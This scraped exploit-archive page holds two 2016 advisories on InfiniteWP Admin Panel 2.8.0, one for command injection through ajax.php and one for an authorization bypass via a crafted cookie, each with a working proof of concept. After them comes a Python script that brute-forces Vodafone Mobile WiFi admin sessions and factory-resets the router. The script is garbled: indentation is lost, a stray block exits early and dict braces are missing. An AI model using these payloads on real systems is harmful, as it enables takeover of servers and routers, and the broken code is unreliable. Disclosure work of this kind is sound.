Admin

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Command injection in InfiniteWP Admin Panel
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Sipke Mellema, July 2016

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Abstract
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The InfiniteWP Admin Panel can be used to execute arbitrary system
commands. The vulnerability can be exploited using an authorization
bypass or by making an authorized user visit a specially crafted URL.

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OVE ID
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OVE-20160712-0006

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Tested versions
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This issue was successfully tested on IWPAdminPanel version 2.8.0.

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Fix
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This issue is resolved in IWPAdminPanel version 2.9.0.

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Details
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https://sumofpwn.nl/advisory/2016/command_injection_in_infinitewp_admin_panel.html

The file ajax.php can be used to execute arbitrary system commands on a system running the InfiniteWP plugin Admin Panel. When an authorized user calls ajax.php, the handler method from the panelRequestManager class is called:

$ result = panelRequestManager::handler($ _REQUEST);

In this handler an if statement will check access levels, if the method userRestrictChecking is implemented. However, this method is not implemented in the default (free) version.

The code will follow on with converting user input to multiple variables.

$ actionResult = $ data = array();
$ action = $ requestData['action'];
$ siteIDs = $ requestData['args']['siteIDs'];
$ params = $ requestData['args']['params'];
$ extras = $ requestData['args']['extras'];
$ requiredData = $ requestData['requiredData'];

Later on in the code, the method requiredData is called with user data as an argument.

$ data = self::requiredData($ requiredData);

The method requiredData will try to execute methods supplied by the user, using the method evaluateMethod. Multiple methods are allowed.

foreach($ requiredData as $ action => $ args){
$ data[$ action] = self::evaluateMethod($ action, $ args);

The evaluateMethod method will check if the requested action exists in the panelRequestManager class. If so, the action will be called with the arguments as requested by the user. If the method does not exist in the panelRequestManager class, the code will check if the action exists in the array self::$ addonFunctions. If it is, the action will get executed.

public static function evaluateMethod($ action, $ args)
if(method_exists('panelRequestManager', $ action)){
if($ action == 'getSitesUpdates'){
return self::$ action($ GLOBALS['userID']);
else
return self::$ action($ args);

eif(in_array($ action, self::$ addonFunctions) && function_exists($ action)){
return call_user_func($ action, $ args);

By default, users can only execute commands that are contained in the panelRequestManager class, or in self::$ addonFunctions. But the panelRequestManager class includes a method called addFunctions that can be used to add methods to the array of methods that can be called from evaluateMethod. It's possible to invoke the addFunctions method to include system commands in the list of allowed methods.

public static function addFunctions()
$ args = func_get_args();
self::$ addonFunctions = array_merge(self::$ addonFunctions, $ args);

The vulnerability can be exploited using an authorization bypass or by making an authorized user visit a URL.
Proof of concept

Have a logged in user visit the following URL:
http://www.<webserver>.com/IWPAdminPanel_v2.8.0/ajax.php?action=foo&requiredData%5BaddFunctions%5D=system&requiredData%5Bsystem%5D=whoami

It should now look something like:

"actionResult":[],"data":{"addFunctions":null,"system":"www-data"...

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


Exploit Files ≈ Packet Storm

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Authorization bypass in InfiniteWP Admin Panel
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Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
An authorization bypass was found in the InfiniteWP Admin Panel that
allows an unauthenticated attacker to gain access to the InfiniteWP
Admin Panel.

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OVE ID
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OVE-20160712-0007

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/authorization_bypass_in_infinitewp_admin_panel.html

Most files in the Admin Panel (ajax.php, debug.php, et cetera) include app.php from the includes directory. This files calls the method checkUserLoggedInAndRedirect, to check if a user is logged in.

The method checkUserLoggedInAndRedirect will call checkUserLoggedIn, where a user's cookie will be unserialized. The expected value from the unserialization is a string, which will be splitted on "||". The first value will be treated as an email address and the second value as an md5 hash. The email address is used to retrieve user data from the database. The database query will return an email address and a password.

The email address and password from the result are appended to each other and are transformed to an md5 hash. This hash is compared to the hash from the cookie. If these match, the method will return true, meaning the user logged in.

By submitting a cookie with a non-existent email address the query will return an empty result. The generated md5 hash will be the md5 hash of an empty string:

md5(email + password) = md5("" + "") = md5("") = "d41d8cd98f00b204e9800998ecf8427e"

Vulnerable code:

list($ userEmail,$ userSlat) = explode('||', $ userCookie);
$ userEmail = filterParameters($ userEmail);
if($ userEmail!='' && $ userSlat!='') {
$ where = array(
'query' => "email = ':email'" ,
'params' => array(
':email'=>trim($ userEmail)
)
);
$ userInfo = DB::getRow("?:users", "userID,email,password", $ where );

$ GLOBALS['userID'] = $ userInfo['userID'];
$ GLOBALS['email'] = strtolower($ userInfo['email']);
$ dbSlat = md5($ GLOBALS['email'].$ userInfo['password']);
if($ userSlat==$ dbSlat) {
$ return = true;

Proof of concept

The following value can be base64 encoded in the user cookie to bypass the authorization check:

s:44:"falseEmail||d41d8cd98f00b204e9800998ecf8427e";

This includes a non-existing email address (falseEmail) and the md5 hash of an empty string (d41d8cd98f00b204e9800998ecf8427e).

Exploitation can be shown as follows. First, call the ajax.php page without a cookie to ensure that you are not logged in:
http://<webserver>/IWPAdminPanel_v2.8.0/ajax.php

This should return:

'"logout":true'...

Now set a cookie named iwp_userCookie to czo0NDoiZmFsc2VFbWFpbHx8ZDQxZDhjZDk4ZjAwYjIwNGU5ODAwOTk4ZWNmODQyN2UiOw== and visit the URL again. It will now return:

{"actionResult":[],"data":[]...

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


Exploit Files ≈ Packet Storm

import urllib2
import json
from datetime import datetime, timedelta
import time
import httplib
from threading import Thread
from Queue import Queue
from multiprocessing import process

print """
Vodafone Mobile WiFi - Password reset exploit (Daniele Linguaglossa)
"""
thread_lock = False
session = ""
def unix_time_millis(dt):
epoch = datetime.utcfromtimestamp(0)
return int(((dt - epoch).total_seconds() * 1000.0) / 1000)

a=False

def check_process_output():
print 1

p = process.Process(target=check_process_output)
p.start()

print a
exit(0)

def crack(queue):
global thread_lock
global session
while True:
if thread_lock:
exit(0)
if not queue.empty():
cookie = queue.get()
headers = 'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % cookie
req = urllib2.Request("http://192.168.0.1/goform/goform_get_cmd_process?cmd=AuthMode&_=%s"
% time.time(), None, headers)
result = urllib2.urlopen(req).read()
if json.loads(result)["AuthMode"] != "":
print "[+] Found valid admin session!"
print "[INFO] Terminating other threads ... please wait"
session = cookie
queue.task_done()
thread_lock = True

def start_threads_with_args(target, n, arg):
thread_pool = []
for n_threads in range(0, n):
thread = Thread(target=target, args=(arg,))
thread_pool.append(thread)
thread_pool[-1].start()
return thread_pool

def start_bruteforce():
global session
global thread_lock
queue = Queue(0)
start_threads_with_args(crack, 15, queue)
print"[!] Trying fast bruteforce..."
for x in range(0, 1000):
if thread_lock:
break
queue.put("123abc456def789%03d" % x)
while True:
if session != "":
return session
if queue.empty():
break
print "[!] Trying slow bruteforce..."
for milliseconds in range(0, how_many):
if thread_lock:
break
queue.put("123abc456def789%s" % (start + milliseconds))
while True:
if session != "":
return session
if queue.empty():
break
return session
if __name__ == "__main__":
now = datetime.now()
hours = raw_input("How many hours ago admin logged in: ")
minutes = raw_input("How many minutes ago admin logged in: ")
init = datetime(now.year, now.month, now.day, now.hour, now.minute) - timedelta(hours=int(hours), minutes=int(minutes))
end = datetime(now.year, now.month, now.day, 23, 59, 59, 999999)
start = unix_time_millis(init)
how_many = unix_time_millis(end) - start + 1
print "[+] Starting session bruteforce with 15 threads"
valid_session = ""
try:
valid_session = start_bruteforce()
except KeyboardInterrupt:
print "[-] Exiting.."
thread_lock = True
exit(0)
if valid_session == "":
print "[!] Can't find valid session 🙁 quitting..."
exit(0)
print "[+] Resetting router password to 'admin' , network may be down for a while"
headers = 'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % valid_session
req = urllib2.Request("http://192.168.0.1/goform/goform_set_cmd_process",
"goformId=RESTORE_FACTORY_SETTINGS&_=%s" % time.time(), headers)
try:
urllib2.urlopen(req).read()
except httplib.BadStatusLine:
print "[!] Password resetted to admin! have fun!"
exit(0)
except Exception:
print "[x] Error during password reset"
print "[-] Can't reset password try manually, your session is: %s" % valid_session


Exploit Files ≈ Packet Storm